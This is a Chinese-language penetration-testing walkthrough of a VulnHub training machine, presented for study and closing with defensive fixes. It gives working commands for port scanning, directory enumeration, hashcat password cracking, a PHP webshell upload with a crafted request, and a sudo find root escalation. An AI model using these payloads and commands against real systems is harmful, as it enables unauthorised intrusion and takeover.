前言
本文以 VulnHub 上一个中等难度的靶机为例,记录一次完整的渗透测试流程。目标是对渗透测试的各个阶段形成系统性认知,而非追求特定漏洞的利用技巧。
阶段一:信息收集
在拿到目标 IP 之后,第一步永远是信息收集——渗透测试中最重要的环节。
端口扫描
nmap -sC -sV -p- 192.168.56.101
结果显示了几个关键服务:
| 端口 | 服务 | 版本 |
|---|---|---|
| 22 | SSH | OpenSSH 7.4 |
| 80 | HTTP | Apache 2.4.6 |
| 8080 | HTTP | Tomcat 9.0 |
目录枚举
gobuster dir -u http://192.168.56.101 -w /usr/share/wordlists/dirb/common.txt
发现了几个有趣的路径:/admin/、/backup/、/dev/。/backup/ 目录下有一个 database.sql 文件可以直接下载,里面包含了用户表的哈希密码。
阶段二:漏洞利用
弱口令破解
从备份文件中提取出两个用户名和 bcrypt 哈希值。使用 hashcat 进行离线破解:
hashcat -m 3200 -a 0 hash.txt /usr/share/wordlists/rockyou.txt
成功破解了其中一个用户的密码,密码强度很弱。
文件上传绕过
登录后台后发现一个图片上传功能。前端只验证了文件后缀,但后端没有做二次校验。通过抓包修改 Content-Type 并上传 PHP webshell:
POST /admin/upload.php HTTP/1.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
Content-Disposition: form-data; name="file"; filename="shell.php.jpg"
Content-Type: image/jpeg
<?php system($_GET['cmd']); ?>
由于 Apache 配置了 MultiViews,shell.php.jpg 同样可以被 PHP 解析。访问 http://192.168.56.101/uploads/shell.php.jpg?cmd=id,成功获得 www-data 权限。
阶段三:权限提升
信息收集(内部)
拿到 shell 后,首先查看当前环境和 sudo 配置:
sudo -l
# User www-data may run (root) NOPASSWD: /usr/bin/find
这是一个经典的 sudo 提权漏洞。find 命令可以执行任意系统命令:
sudo find / -exec /bin/sh \;
成功拿到 root 权限。
总结
这次渗透测试的关键发现:
| 漏洞类型 | 危害 | 防御 |
|---|---|---|
| 敏感文件暴露 | 信息泄露 | 禁止目录浏览,移除备份文件 |
| 弱密码 | 认证绕过 | 强制密码复杂度策略 |
| 文件上传绕过 | RCE | 后端校验文件内容,存储到非 web 目录 |
| sudo 配置不当 | 本地提权 | 遵循最小权限原则,限制命令参数 |
真实的渗透测试远比这复杂——内网横向移动、域渗透、持久化后门、痕迹清理……这些留待后面的文章慢慢展开。
